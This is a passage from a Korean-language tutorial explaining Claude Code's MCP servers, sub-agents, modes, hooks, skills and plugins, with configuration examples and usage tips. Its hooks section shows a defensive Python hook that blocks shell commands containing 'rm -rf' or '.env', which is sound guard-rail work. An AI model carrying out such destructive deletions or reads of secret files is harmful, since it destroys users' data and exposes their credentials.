초기 에이전트는 파일 읽기/쓰기, 셸 명령 실행 같은 기본 도구만 가지고 있었다. 하지만 실제 개발 워크플로우에서는 Slack 메시지 읽기, Jira 이슈 생성, GitHub PR 관리, 데이터베이스 쿼리 같은 외부 시스템과의 연동이 필요하다.

MCP는 이런 서드파티 도구를 에이전트에 노출시키는 표준화된 방법을 제공한다. OAuth 인증도 지원하므로 보안이 중요한 엔터프라이즈 환경에서도 사용할 수 있다.

### 기본 vs 서드파티 도구

| 구분                        | 예시                                               |
| --------------------------- | -------------------------------------------------- |
| **기본 도구 (First-party)** | 파일 읽기/쓰기, 셸 명령, 코드 검색                 |
| **MCP 도구 (Third-party)**  | Slack, GitHub, Jira, Notion, PostgreSQL, Sentry 등 |

### 아키텍처

```mermaid
flowchart LR
    CC["Claude Code<br/>(MCP Client)"]
    MCP["MCP Server<br/>(middleware)"]
    API["External API<br/>(Slack 등)"]

    CC <--> MCP <--> API
```

Claude Code는 MCP 클라이언트이자 서버로 동작할 수 있다. 여러 MCP 서버에 동시 연결이 가능하다.

### Claude Code에서 MCP 설정

**CLI를 통한 추가:**

```bash
# HTTP 서버 연결
claude mcp add --transport http notion https://mcp.notion.com/mcp

# 환경 변수와 함께
claude mcp add github \
  -e GITHUB_PERSONAL_ACCESS_TOKEN=ghp_xxx \
  -- docker run -i --rm -e GITHUB_PERSONAL_ACCESS_TOKEN ghcr.io/github/github-mcp-server

# 서버 목록 확인
claude mcp list

# 서버 상태 확인 (Claude Code 내에서)
/mcp
```

**설정 파일을 통한 추가 (.mcp.json):**

```json
{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_xxx"
      }
    },
    "postgres": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-postgres"],
      "env": {
        "DATABASE_URL": "postgresql://..."
      }
    }
  }
}
```

### Scope 옵션

| Scope            | 설명                                           |
| ---------------- | ---------------------------------------------- |
| `local` (기본값) | 현재 프로젝트에서 본인만 사용                  |
| `project`        | 프로젝트의 모든 사람이 사용 (.mcp.json에 저장) |
| `user`           | 모든 프로젝트에서 본인이 사용                  |

### MCP의 단점과 해결책

**문제:** 도구가 많아지면 컨텍스트 사용량이 급격히 증가한다. 10개의 MCP 서버에 각각 10개의 도구가 있으면 100개의 도구 정의가 컨텍스트에 포함된다. 200k 컨텍스트 윈도우가 MCP를 너무 많이 활성화하면 실제로는 70k 정도만 사용 가능해질 수 있다.

**해결책:** 최신 에이전트들은 Skills 패턴에서 배운 최적화를 적용한다. 모든 도구를 항상 로드하는 대신, 실제로 사용할 때만 해당 도구를 로드한다. Cursor와 Claude Code 모두 이 최적화를 구현했다.

**실전 팁:** 설정 파일에 20-30개의 MCP 서버를 등록해두되, 실제로 활성화하는 것은 10개 이하, 활성 도구는 80개 이하로 유지하자. `/mcp` 명령어로 현재 상태를 확인할 수 있다.

**Skills와의 차이:** OAuth가 필요한 경우에만 MCP를 사용하자. 그 외에는 Skills로 대체할 수 있다.

### 주요 MCP 서버 목록

| 서버                                        | 용도                         |
| ------------------------------------------- | ---------------------------- |
| **@modelcontextprotocol/server-github**     | GitHub PR, 이슈, 저장소 관리 |
| **@modelcontextprotocol/server-slack**      | Slack 메시지 읽기/쓰기       |
| **@modelcontextprotocol/server-postgres**   | PostgreSQL 쿼리              |
| **@modelcontextprotocol/server-filesystem** | 로컬 파일 시스템 접근        |
| **Puppeteer MCP**                           | 브라우저 자동화, 스크린샷    |
| **Sentry MCP**                              | 에러 모니터링                |

수백 개의 MCP 서버가 GitHub에서 사용 가능하다.

### 보안 주의사항

MCP 서버는 사용자를 대신해 외부 서비스에 접근한다. 신뢰할 수 없는 서버는 설치하지 말자. 특히 인터넷에서 콘텐츠를 가져오는 서버는 프롬프트 인젝션 위험이 있다.

### 공식 문서

- [Claude Code MCP 문서](https://docs.anthropic.com/en/docs/claude-code/mcp)
- [MCP 공식 사이트](https://modelcontextprotocol.io)
- [MCP 서버 목록](https://github.com/modelcontextprotocol/servers)

---

## 4. Sub-agents (하위 에이전트)

### 정의

Sub-agents는 **특정 유형의 작업을 처리하는 전문화된 AI 어시스턴트**다. 각 서브에이전트는 자체 컨텍스트 윈도우, 커스텀 시스템 프롬프트, 특정 도구 접근 권한, 독립적인 권한 설정을 가진다.

### 등장 배경

복잡한 작업은 많은 컨텍스트를 소비한다. 예를 들어 테스트를 실행하면 출력이 수천 줄이 될 수 있고, 문서를 검색하면 수십 개의 파일 내용이 컨텍스트에 쌓인다. 이 모든 것이 메인 대화에 누적되면 컨텍스트 윈도우가 빠르게 소진된다.

Sub-agents는 이 문제를 해결한다. 테스트 실행이나 문서 검색 같은 작업을 별도의 컨텍스트에서 처리하고, 결과만 메인 대화에 반환한다.

### 왜 Sub-agents가 유용한가?

**컨텍스트 분리:** 탐색(exploration)과 구현(implementation)을 메인 대화에서 분리한다.

```mermaid
flowchart TD
    A["메인 에이전트<br/>'인증 모듈의 버그를 찾아줘'"] --> B["탐색 Sub-agent<br/>수십 개 파일 검색, 로그 분석<br/>(별도 컨텍스트)"]
    B --> C["반환<br/>'auth/session.ts 234번 줄<br/>토큰 만료 처리 누락'"]
    C --> D["메인 에이전트<br/>핵심 정보만 가지고 수정 진행"]
```

**도구 제한:** 특정 서브에이전트에게 허용된 도구만 사용하게 할 수 있다.

```yaml
# 문서 리뷰어: 읽기만 가능, 수정 불가
name: doc-reviewer
tools: Read, Grep
# Edit, Write, Bash 등은 사용 불가
```

**병렬 실행:** 여러 서브에이전트가 동시에 작업할 수 있다.

```mermaid
flowchart LR
    A["'코드 리뷰해줘'"] --> B["style-checker"]
    A --> C["security-scanner"]
    A --> D["test-coverage"]
    B --> E["결과 종합"]
    C --> E
    D --> E
```

### Claude Code에서의 구현

**빌트인 서브에이전트:**

| 이름            | 설명                                                     |
| --------------- | -------------------------------------------------------- |
| **Explore**     | 읽기 전용 코드베이스 검색                                |
| **Plan**        | 계획 모드에서 리서치 수행                                |
| **Task** (일반) | 명시적으로 정의하지 않아도 사용 가능한 범용 서브에이전트 |

**커스텀 서브에이전트 정의 (.claude/agents/security-reviewer.md):**

```markdown
---
name: security-reviewer
description: 보안 취약점 분석 전문가. 보안 리뷰 요청 시 사용.
tools: Read, Grep, Glob, Bash(npm audit:*, snyk:*)
model: sonnet
---

당신은 보안 리뷰 전문가입니다. 코드를 분석할 때:

1. OWASP Top 10 취약점 확인
2. 인증/인가 로직 검증
3. 입력 검증 확인
4. 민감 정보 노출 확인
5. 의존성 보안 감사

발견된 모든 취약점에 대해:

- 심각도 (Critical/High/Medium/Low)
- 위치 (파일명, 라인 번호)
- 설명
- 권장 수정 방법

을 제공하세요.
```

### 서브에이전트 호출 방식

**자동 호출:** Claude가 작업 설명(description)을 보고 적절한 서브에이전트를 자동 선택한다.

```text
사용자: "이 PR의 보안 취약점을 확인해줘"
Claude: (security-reviewer 서브에이전트 자동 호출)
```

**명시적 호출:**

```text
사용자: "security-reviewer 에이전트를 사용해서 인증 모듈을 검토해줘"
```

**병렬 호출:**

```text
사용자: "이걸 병렬로 실행해줘" 또는 "리서치 좀 해줘"
```

### 주의사항

**컨텍스트 게이트키핑:** 서브에이전트를 만들면 해당 영역의 컨텍스트가 메인 에이전트에서 숨겨진다. `PythonTests` 서브에이전트를 만들면 메인 에이전트는 테스트 관련 컨텍스트를 직접 볼 수 없다.

**결과 누적:** 여러 서브에이전트가 각각 상세한 결과를 반환하면 메인 컨텍스트가 빠르게 소진될 수 있다.

### 공식 문서

- [Sub-agents 문서](https://docs.anthropic.com/en/docs/claude-code/sub-agents)

---

## 5. Modes (모드)

### 정의

Modes는 **Sub-agent의 확장 개념으로, 지시사항 + 시스템 프롬프트 수정 + UI 변경까지 포함**하는 에이전트 동작 모드다. 특정 작업에 최적화된 환경을 제공한다.

### Sub-agent와의 차이점

| 구분            | Sub-agent     | Mode                     |
| --------------- | ------------- | ------------------------ |
| 시스템 프롬프트 | 자체 프롬프트 | 메인 프롬프트 수정 가능  |
| UI              | 변경 없음     | UI 커스터마이징 가능     |
| 도구            | 제한 가능     | 제한 + 새 도구 추가 가능 |
| 컨텍스트        | 별도          | 메인과 공유              |
| 리마인더        | 없음          | 모드 유지 리마인더 포함  |

### 모드가 할 수 있는 것들

1. **시스템 프롬프트 수정**: 현재 사용 가능한 도구와 모드를 알려줌
2. **새 도구 접근 권한**: 계획(plan)을 생성하고 수정하는 도구 추가
3. **GUI 변경**: 특화된 인터페이스 제공
4. **리마인더**: 현재 모드와 집중해야 할 작업을 상기시킴

### 예시: Plan Mode

Claude Code의 Plan Mode는 코드 작성 전에 계획을 수립하는 모드다.

- 파일 수정 도구는 비활성화
- 계획 생성/수정 도구만 활성화
- "현재 계획 모드입니다. 코드 작성 전에 계획을 확정하세요" 리마인더
- 계획 확정 시 일반 모드로 자동 전환

### 한계

모드를 사용해도 여전히 **비결정적(non-deterministic) 시스템**이다. 모드가 더 신뢰성 있고 발견하기 쉬운 기능을 제공하지만, 예상치 못한 동작이 발생할 수 있다.

**결정적 동작이 필요하면 Hooks를 사용하자.**

---

## 6. Hooks (훅)

### 정의

Hooks는 **에이전트 라이프사이클의 특정 시점에 100% 결정적으로 실행되는 코드**다. 에이전트의 비결정적 특성에 결정적 동작을 주입할 수 있다.

### 등장 배경

에이전트에게 "커밋 전에 린트 실행해"라고 요청해도 가끔 잊어버린다. "파일 수정 후 포맷팅해"라고 해도 일관되지 않다.

Hooks는 이런 "반드시 해야 하는" 작업을 강제한다. 에이전트가 잊어버리거나 무시할 수 없다.

### 사용 사례

**매 실행마다 컨텍스트 주입:**

- 세션 시작 시 git status 추가
- 현재 시간 정보 주입

**도구 실행 전/후 처리:**

- 파일 수정 전: 유효성 검사
- 파일 수정 후: Prettier 포맷팅, ESLint 검사, 타입 체크

**세션 종료 후 처리:**

- 대화 로그 데이터베이스 저장
- 자동 커밋

### 훅 종류

| 이벤트              | 시점               | 사용 예                               |
| ------------------- | ------------------ | ------------------------------------- |
| `SessionStart`      | 세션 시작/재개     | 개발 컨텍스트 로드, 환경 설정         |
| `UserPromptSubmit`  | 사용자 입력 직후   | 입력 검증, 컨텍스트 주입, 보안 필터링 |
| `PreToolUse`        | 도구 실행 전       | 명령어 검증, 위험 명령 차단           |
| `PostToolUse`       | 도구 실행 후       | 포맷팅, 린팅, 결과 로깅               |
| `PermissionRequest` | 권한 요청 시       | 자동 승인/거부 결정                   |
| `Stop`              | 에이전트 응답 완료 | 자동 커밋, 완료 알림                  |
| `SubagentStop`      | 서브에이전트 완료  | 결과 처리, 다음 단계 트리거           |
| `PreCompact`        | 컴팩션 전          | 트랜스크립트 백업                     |
| `Notification`      | 알림 발생 시       | 커스텀 알림 처리                      |

### Claude Code에서의 구현

**설정 파일 위치:**

- 사용자 설정: `~/.claude/settings.json`
- 프로젝트 설정: `.claude/settings.json`

**설정 예시:**

```json
{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Write|Edit",
        "hooks": [
          {
            "type": "command",
            "command": "npx prettier --write \"$CLAUDE_FILE_PATH\""
          },
          {
            "type": "command",
            "command": "npx eslint --fix \"$CLAUDE_FILE_PATH\""
          }
        ]
      }
    ],
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 $CLAUDE_PROJECT_DIR/scripts/validate-command.py"
          }
        ]
      }
    ],
    "Stop": [
      {
        "matcher": "*",
        "hooks": [
          {
            "type": "command",
            "command": "$CLAUDE_PROJECT_DIR/scripts/auto-commit.sh"
          }
        ]
      }
    ]
  }
}
```

### 훅의 의사결정 제어

훅은 JSON 출력을 통해 에이전트 동작을 제어할 수 있다:

```python
#!/usr/bin/env python3
import json
import sys

input_data = json.load(sys.stdin)
tool_name = input_data.get("tool_name", "")
tool_input = input_data.get("tool_input", {})

# 위험한 명령 차단
if tool_name == "Bash":
    command = tool_input.get("command", "")
    if "rm -rf" in command or ".env" in command:
        output = {
            "decision": "block",
            "reason": "위험한 명령이 감지되었습니다"
        }
        print(json.dumps(output))
        sys.exit(2)  # 차단

# 문서 파일 자동 승인
if tool_name == "Read":
    file_path = tool_input.get("file_path", "")
    if file_path.endswith((".md", ".txt", ".json")):
        output = {
            "decision": "approve",
            "reason": "문서 파일 자동 승인"
        }
        print(json.dumps(output))
        sys.exit(0)

sys.exit(0)  # 정상 진행
```

### 보안 주의사항

- 훅은 시스템에서 임의의 셸 명령을 자동 실행한다
- 설정 파일의 직접 수정은 `/hooks` 메뉴에서 검토 후에야 적용된다
- 입력 검증, 경로 이스케이프, 민감 파일 제외를 철저히 하자

### 공식 문서

- [Hooks 문서](https://docs.anthropic.com/en/docs/claude-code/hooks)

---

## 7. Skills (스킬)

### 정의

Skills는 **지시사항, 스크립트, 리소스를 패키징한 폴더로, 에이전트가 필요할 때 발견하고 사용할 수 있는 능력 확장 단위**다. Rules와 Commands의 장점을 결합한 동적 컨텍스트다.

### 등장 배경

Rules(정적 컨텍스트)와 Commands(워크플로우 실행)는 각각 한계가 있다:

- **Rules**: 모든 대화에 포함되어 토큰 낭비
- **Commands**: 명시적 호출 필요, 복잡한 워크플로우 지원 어려움
- **MCP**: OAuth 외에는 오버킬, 컨텍스트 bloat 문제

> **"OAuth 외에는 오버킬"이란?**
>
> MCP 서버를 세팅하려면 서버 프로세스 실행, 설정 파일 작성, 연결 관리 등 복잡한 작업이 필요하다. 단순히 반복 프롬프트를 실행하거나 스크립트를 돌리는 용도라면 이 모든 설정이 과도하다.
> MCP가 진짜 필요한 경우는 OAuth 인증이 필요한 외부 서비스(Slack, GitHub, Notion 등)에 연결할 때다. OAuth 플로우를 직접 구현하는 건 까다롭고, MCP가 이걸 표준화해서 처리해주기 때문이다.
> OAuth가 필요 없는 단순 작업이라면 Skills로 충분하다.

> **"컨텍스트 bloat 문제"란?**
>
> MCP 서버를 연결하면 해당 서버가 제공하는 모든 도구 정의가 컨텍스트에 포함된다. 예를 들어:
>
> - GitHub MCP: 20개 도구 (create_issue, list_prs, merge_pr...)
> - Slack MCP: 15개 도구 (send_message, list_channels...)
> - Notion MCP: 25개 도구
>
> 이렇게 3개만 연결해도 60개의 도구 정의가 매 대화에 포함된다. 실제로 사용하는 건 1-2개뿐인데도. 이게 "bloat"다.

Skills는 이 모든 것을 해결한다:

- 필요할 때만 로드 (Rules처럼 항상 포함 X)
- 에이전트가 자동으로 적절한 스킬 선택 (Commands처럼 명시적 호출 불필요)
- 오픈 스탠다드로 여러 에이전트에서 사용 가능

### Rules vs Commands vs Skills

| 특성           | Rules     | Commands            | Skills                   |
| -------------- | --------- | ------------------- | ------------------------ |
| 로드 시점      | 항상      | 명시적 호출         | 필요할 때 자동           |
| 컨텍스트 영향  | 항상 소비 | 호출 시 소비        | 사용 시에만 소비         |
| 발견 방식      | N/A       | `/` 입력            | 에이전트 자동 판단       |
| 포함 가능 요소 | 텍스트    | 텍스트 + 메타데이터 | 텍스트 + 스크립트 + 에셋 |
| 공유 범위      | 프로젝트  | 프로젝트/사용자     | 에코시스템 전체          |

### 스킬의 구조

```text
skills/
├── code-review/
│   ├── SKILL.md              # 스킬 정의 (필수)
│   ├── SECURITY.md           # 보안 체크리스트
│   ├── PERFORMANCE.md        # 성능 패턴
│   ├── STYLE.md              # 스타일 가이드
│   └── scripts/
│       └── run-linters.sh    # 실행 가능한 스크립트
│
├── docx/
│   ├── SKILL.md
│   └── scripts/
│       ├── pack.py
│       └── unpack.py
│
└── frontend-design/
    ├── SKILL.md
    ├── examples/
    │   └── landing-page.html
    └── assets/
        └── design-tokens.json
```

### SKILL.md 형식

```markdown
---
name: code-review
description: 코드 리뷰 전문가. 보안, 성능, 스타일 검토 시 사용.
metadata:
  category: development
  tags: [review, quality]
---

# Code Review Skill

이 스킬은 코드 리뷰를 위한 종합적인 가이드를 제공합니다.

## 사용법

코드 리뷰 요청 시 자동으로 활성화됩니다.

## 체크리스트

1. @SECURITY.md 참조하여 보안 검토
2. @PERFORMANCE.md 참조하여 성능 검토
3. @STYLE.md 참조하여 스타일 검토

## 스크립트

린터 실행: `./scripts/run-linters.sh`
```

### 스킬 사용 흐름

```mermaid
flowchart TD
    A["사용자: '이 PR 리뷰해줘'"] --> B["에이전트: 스킬 목록 확인"]
    B --> C["code-review 스킬 선택"]
    C --> D["SKILL.md 로드"]
    D --> E["관련 파일 참조<br/>(SECURITY.md 등)"]
    E --> F["스크립트 실행 (필요시)"]
```

### 생태계

Skills는 **오픈 스탠다드**다. Anthropic이 개발하고 공개했으며, 다양한 에이전트 제품에서 채택되었다:

- Claude Code
- Cursor
- GitHub Codex
- Windsurf
- VS Code Copilot
- 그 외 MCP 호환 클라이언트

### 공식 문서

- [Agent Skills 공식 사이트](https://agentskills.io)
- [Skills 스펙](https://agentskills.io/specification)
- [Anthropic 공식 Skills](https://github.com/anthropics/skills)

---

## 8. Plugins (플러그인)

### 정의

Plugins는 **도구, 스킬, MCP, 훅을 패키징해서 쉽게 설치할 수 있게 만든 확장 시스템**이다. 복잡한 설정 없이 마켓플레이스에서 설치하면 바로 사용할 수 있다.

### 등장 배경

MCP 서버나 스킬을 직접 설정하려면 설정 파일 수정, 환경 변수 설정, 의존성 설치 등 번거로운 과정이 필요하다. Plugins는 이런 복잡한 설정을 추상화해서 한 번의 설치로 모든 것을 자동으로 구성한다.

### 플러그인 유형

| 유형                 | 설명                     | 예시                        |
| -------------------- | ------------------------ | --------------------------- |
| **Skill + MCP 조합** | 스킬과 MCP를 함께 패키징 | firecrawl, supabase         |
| **LSP 플러그인**     | 언어 서버 연동           | typescript-lsp, pyright-lsp |
| **Hooks + Tools**    | 훅과 도구 번들           | hookify                     |
| **검색 도구**        | 향상된 검색 기능         | mgrep                       |

### 주요 플러그인

**LSP 플러그인:**

IDE 없이 터미널에서 Claude Code를 자주 사용한다면 LSP 플러그인이 유용하다. 실시간 타입 체킹, go-to-definition, 자동 완성을 제공한다.

```bash
# 유용한 LSP 플러그인
typescript-lsp@claude-plugins-official  # TypeScript 지원
pyright-lsp@claude-plugins-official     # Python 타입 체킹
```

**hookify:**

JSON을 직접 작성하는 대신 대화형으로 훅을 만들 수 있다.

```text
/hookify "파일 저장 후 prettier 실행해줘"
```

**mgrep:**

ripgrep보다 강력한 검색 도구. 로컬 검색과 웹 검색을 모두 지원한다.

```bash
mgrep "function handleSubmit"           # 로컬 검색
mgrep --web "Next.js 15 app router"     # 웹 검색
```

### 플러그인 설치

```bash
# 마켓플레이스 추가
claude plugin marketplace add https://github.com/mixedbread-ai/mgrep

# Claude Code 내에서
/plugins  # 플러그인 목록 확인 및 설치
```

### 주의사항

MCP와 마찬가지로 **컨텍스트 윈도우에 영향**을 준다. 필요한 플러그인만 활성화하고, 사용하지 않는 것은 비활성화하자.

### 공식 문서

- [Plugins 문서](https://docs.anthropic.com/en/docs/claude-code/plugins)

---

## 9. 개념들의 상호 관계

지금까지 8가지 개념을 살펴봤다. 이들은 독립적으로 존재하는 게 아니라 서로 연결되어 있다.

### 관계 다이어그램

```mermaid
flowchart TD
    subgraph Always["항상 로드"]
        Rules["Rules<br/>(CLAUDE.md)"]
    end

    subgraph OnDemand["필요할 때 로드"]
        Commands["Commands"]
        Skills["Skills"]
        MCP["MCP Servers"]
    end

    subgraph Execution["실행 환경"]
        Modes["Modes"]
        SubAgents["Sub-agents"]
    end

    subgraph Enforcement["강제 실행"]
        Hooks["Hooks"]
    end

    Rules --> Commands
    Rules --> Skills
    Commands -.->|"내부에 정의 가능"| Hooks
    Skills -.->|"대체 가능<br/>(OAuth 불필요시)"| MCP
    Modes -.->|"확장"| SubAgents
    Hooks -->|"모든 도구에 적용"| SubAgents
    Hooks -->|"모든 도구에 적용"| Commands
```

### Commands 안에서 Hooks 정의하기

Commands 파일 안에서 해당 커맨드 전용 Hooks를 정의할 수 있다.

```markdown
---
description: 프로덕션 배포
hooks:
  PreToolUse:
    - matcher: 'Bash'
      hooks:
        - type: command
          command: './scripts/check-env.sh'
  PostToolUse:
    - matcher: 'Bash'
      hooks:
        - type: command
          command: './scripts/notify-slack.sh'
---

프로덕션 환경에 배포해주세요.
```

이렇게 하면 `/project:deploy` 커맨드를 실행할 때만 이 Hooks가 적용된다.

### Skills vs MCP: 언제 뭘 쓸까?

| 상황                             | 선택                         |
| -------------------------------- | ---------------------------- |
| Slack, GitHub 등 OAuth 인증 필요 | **MCP**                      |
| 단순 스크립트 + 지시사항 조합    | **Skills**                   |
| 외부 API 호출 (인증 없음)        | **Skills** (스크립트로 curl) |
| 팀/커뮤니티와 공유               | **Skills** (오픈 스탠다드)   |
| 실시간 데이터 스트리밍           | **MCP**                      |

대부분의 경우 Skills로 충분하다. MCP는 OAuth가 필요하거나, 실시간 양방향 통신이 필요할 때만 사용하자.

### Sub-agents vs Modes: 언제 뭘 쓸까?

| 상황                                            | 선택                     |
| ----------------------------------------------- | ------------------------ |
| 컨텍스트를 분리하고 싶다                        | **Sub-agents**           |
| 메인 컨텍스트를 유지하면서 도구만 제한하고 싶다 | **Modes**                |
| 병렬로 여러 작업 실행                           | **Sub-agents**           |
| UI/리마인더 커스터마이징                        | **Modes**                |
| 읽기 전용 탐색 작업                             | **Sub-agents** (Explore) |

---

## 10. 실제 워크플로우 예시

개념을 알았으니 실제로 어떻게 조합해서 쓰는지 살펴보자.

### 새 기능 개발하기

```mermaid
flowchart LR
    A["요청:<br/>'로그인 기능 추가해줘'"] --> B["CLAUDE.md 참조<br/>(프로젝트 구조 파악)"]
    B --> C["Plan Mode 진입<br/>(shift+tab)"]
    C --> D["Explore Sub-agent<br/>(기존 인증 코드 탐색)"]
    D --> E["계획 수립 및 승인"]
    E --> F["코드 작성"]
    F --> G["Hooks 자동 실행<br/>(포맷팅, 린팅)"]
    G --> H["/commit"]
```

**단계별 설명:**

1. **CLAUDE.md 자동 로드**: 프로젝트 구조, 코딩 컨벤션 파악
2. **Plan Mode** (`shift+tab`): 코드 작성 전에 계획 수립
3. **Explore Sub-agent**: 기존 코드 탐색 (메인 컨텍스트 오염 방지)
4. **코드 작성**: 계획대로 구현
5. **Hooks 자동 실행**: 파일 저장 시 Prettier, ESLint 자동 적용
6. **/commit**: 커밋 메시지 자동 생성

### 버그 수정하기

```mermaid
flowchart LR
    A["요청:<br/>'로그인 안 돼요'"] --> B["Explore Sub-agent<br/>(에러 로그, 관련 코드 탐색)"]
    B --> C["원인 파악<br/>'토큰 만료 처리 누락'"]
    C --> D["수정"]
    D --> E["Hooks 자동 실행"]
    E --> F["/commit"]
```

**핵심 포인트:**

- Explore Sub-agent가 수십 개 파일을 뒤져도 메인 컨텍스트는 깔끔하게 유지
- 원인만 요약해서 반환하므로 수정에 집중 가능

### 코드 리뷰하기

```mermaid
flowchart LR
    A["/project:review"] --> B["Commands 실행<br/>(git diff 자동 포함)"]
    B --> C["Skills 자동 로드<br/>(code-review 스킬)"]
    C --> D["병렬 Sub-agents"]
    D --> E["security-scanner"]
    D --> F["style-checker"]
    D --> G["test-coverage"]
    E --> H["결과 종합"]
    F --> H
    G --> H
```

**구성 요소 조합:**

- **Commands**: 반복되는 리뷰 워크플로우 단축
- **Skills**: 리뷰 체크리스트와 가이드라인 제공
- **Sub-agents**: 보안, 스타일, 테스트를 병렬로 검사

### 외부 서비스 연동하기

```mermaid
flowchart LR
    A["요청:<br/>'GitHub 이슈 정리해줘'"] --> B{"OAuth 필요?"}
    B -->|Yes| C["MCP Server<br/>(GitHub)"]
    B -->|No| D["Skills<br/>(gh CLI 스크립트)"]
    C --> E["이슈 목록 조회"]
    D --> E
    E --> F["정리 및 보고"]
```

**선택 기준:**

- GitHub API를 OAuth로 인증해야 한다면 → MCP
- `gh` CLI가 이미 인증되어 있다면 → Skills (더 간단)

---

## 11. 토큰과 비용 관점

코딩 에이전트는 토큰을 소비한다. 각 개념이 토큰에 미치는 영향을 이해하면 비용을 최적화할 수 있다.

### 개념별 토큰 소비

| 개념           | 토큰 소비 시점          | 영향도                     |
| -------------- | ----------------------- | -------------------------- |
| **Rules**      | 매 대화 시작            | 🔴 높음 (항상 포함)        |
| **Commands**   | 호출 시                 | 🟡 중간                    |
| **MCP**        | 도구 정의 로드 시       | 🔴 높음 (연결된 모든 도구) |
| **Sub-agents** | 실행 시 (별도 컨텍스트) | 🟢 낮음 (메인에 영향 적음) |
| **Modes**      | 모드 전환 시            | 🟡 중간                    |
| **Hooks**      | 실행 시                 | 🟢 낮음 (결과만 반환)      |
| **Skills**     | 필요할 때만             | 🟢 낮음                    |

### 비용 최적화 팁

**1. CLAUDE.md 다이어트**

```markdown
# ❌ 나쁜 예: 너무 장황함

이 프로젝트는 2024년 1월에 시작되었으며,
Next.js 15를 사용하고 있습니다.
우리 팀은 총 5명이며...

# ✅ 좋은 예: 핵심만

Next.js 15 + Prisma + PostgreSQL

- pnpm dev / test / lint
- TypeScript strict
```

**2. MCP 서버 최소화**

```json
// ❌ 나쁜 예: 안 쓰는 서버도 연결
{
  "mcpServers": {
    "github": { ... },
    "slack": { ... },
    "notion": { ... },
    "jira": { ... },
    "linear": { ... }
  }
}

// ✅ 좋은 예: 실제로 쓰는 것만
{
  "mcpServers": {
    "github": { ... }
  }
}
```

**3. Sub-agents로 컨텍스트 분리**

긴 탐색 작업은 Sub-agent로 분리하면 메인 컨텍스트가 오염되지 않는다.

```text
// ❌ 나쁜 예: 메인에서 직접 탐색
"모든 API 엔드포인트를 찾아서 정리해줘"
→ 수십 개 파일 내용이 메인 컨텍스트에 쌓임

// ✅ 좋은 예: Sub-agent 활용
"Explore 에이전트로 API 엔드포인트 찾아줘"
→ 요약만 메인에 반환
```

**4. /compact 활용**

대화가 길어지면 `/compact` 명령어로 컨텍스트를 압축할 수 있다. 중요한 정보는 유지하면서 토큰을 절약한다.

### 비용 모니터링

Claude Code는 세션 종료 시 토큰 사용량을 보여준다. 정기적으로 확인하면서 어떤 작업이 토큰을 많이 소비하는지 파악하자.

---

## 12. 다른 에이전트와의 비교

Claude Code 외에도 Cursor, Windsurf, GitHub Copilot 등 다양한 코딩 에이전트가 있다. 같은 개념이 다른 이름으로 불리기도 한다.

### 용어 매핑

| Claude Code | Cursor       | Windsurf       | GitHub Copilot                  |
| ----------- | ------------ | -------------- | ------------------------------- |
| CLAUDE.md   | .cursorrules | .windsurfrules | .github/copilot-instructions.md |
| Commands    | -            | -              | -                               |
| MCP         | MCP          | MCP            | -                               |
| Sub-agents  | -            | Cascade        | -                               |
| Hooks       | -            | -              | -                               |
| Skills      | Skills       | Skills         | -                               |

### Claude Code만의 특징

**1. Hooks**

다른 에이전트에는 없는 Claude Code만의 기능이다. 에이전트 동작에 결정적 코드를 주입할 수 있다.

**2. Sub-agents 세분화**

Explore, Plan 등 용도별 빌트인 Sub-agent를 제공한다. 커스텀 Sub-agent도 쉽게 정의할 수 있다.

**3. Commands**

슬래시 커맨드로 워크플로우를 패키징하는 기능이 가장 체계적이다.

**4. 터미널 네이티브**

IDE 플러그인이 아닌 터미널에서 직접 실행된다. SSH 환경, 서버에서도 사용 가능하다.

### Cursor와의 주요 차이

| 항목      | Claude Code     | Cursor                    |
| --------- | --------------- | ------------------------- |
| 실행 환경 | 터미널          | IDE (VS Code 포크)        |
| 모델      | Claude만        | Claude, GPT, 기타         |
| 파일 수정 | 직접 수정       | IDE 내 diff 뷰            |
| 가격      | API 사용량 기반 | 월 구독 ($20/월)          |
| 강점      | 자동화, Hooks   | IDE 통합, 실시간 자동완성 |

### 언제 Claude Code를 쓸까?

- 터미널 작업이 많을 때
- CI/CD, 자동화 파이프라인 구축
- Hooks로 강제 실행이 필요할 때
- SSH/원격 서버 환경
- API 사용량 기반 과금 선호

### 언제 Cursor를 쓸까?

- IDE 통합이 중요할 때
- 실시간 자동완성 활용
- 다양한 모델 선택 필요
- 월 정액제 선호

---

## 13. Tips and Tricks

실전에서 유용한 팁들을 모았다.

### 키보드 단축키

| 단축키        | 기능                                                |
| ------------- | --------------------------------------------------- |
| `Ctrl+U`      | 입력 중인 라인 전체 삭제 (백스페이스 연타보다 빠름) |
| `!`           | 빠른 bash 명령어 접두사                             |
| `@`           | 파일 검색                                           |
| `/`           | 슬래시 명령어 시작                                  |
| `Shift+Enter` | 멀티라인 입력                                       |
| `Tab`         | thinking 표시 토글                                  |
| `Esc Esc`     | Claude 중단 / 코드 복원                             |

### 병렬 워크플로우

**/fork - 대화 분기**

겹치지 않는 작업을 병렬로 진행할 때 유용하다. 메시지를 큐에 쌓는 대신 대화를 분기해서 동시에 작업할 수 있다.

```bash
/fork  # 현재 대화를 분기
```

**Git Worktrees - 병렬 Claude 인스턴스**

같은 저장소에서 여러 Claude 인스턴스를 동시에 실행하면 충돌이 발생할 수 있다. Git Worktrees를 사용하면 각 worktree가 독립적인 체크아웃이 되어 충돌을 방지한다.

```bash
git worktree add ../feature-branch feature-branch
# 각 worktree에서 별도의 Claude 인스턴스 실행
```

### tmux로 장시간 명령어 관리

빌드, 테스트 같은 장시간 명령어를 실행할 때 tmux를 사용하면 세션이 유지된다. Claude가 tmux 세션에서 명령어를 실행하면 로그를 실시간으로 모니터링할 수 있다.

```bash
tmux new -s dev           # 새 세션 생성
# Claude가 여기서 명령어 실행
tmux attach -t dev        # 세션에 다시 연결
```

### 유용한 명령어들

| 명령어         | 기능                                            |
| -------------- | ----------------------------------------------- |
| `/rewind`      | 이전 상태로 되돌리기                            |
| `/statusline`  | 브랜치, 컨텍스트 %, todo 등 상태바 커스터마이징 |
| `/checkpoints` | 파일 수준 undo 포인트                           |
| `/compact`     | 수동으로 컨텍스트 압축                          |
| `/mcp`         | MCP 서버 상태 확인                              |
| `/plugins`     | 플러그인 목록 및 관리                           |

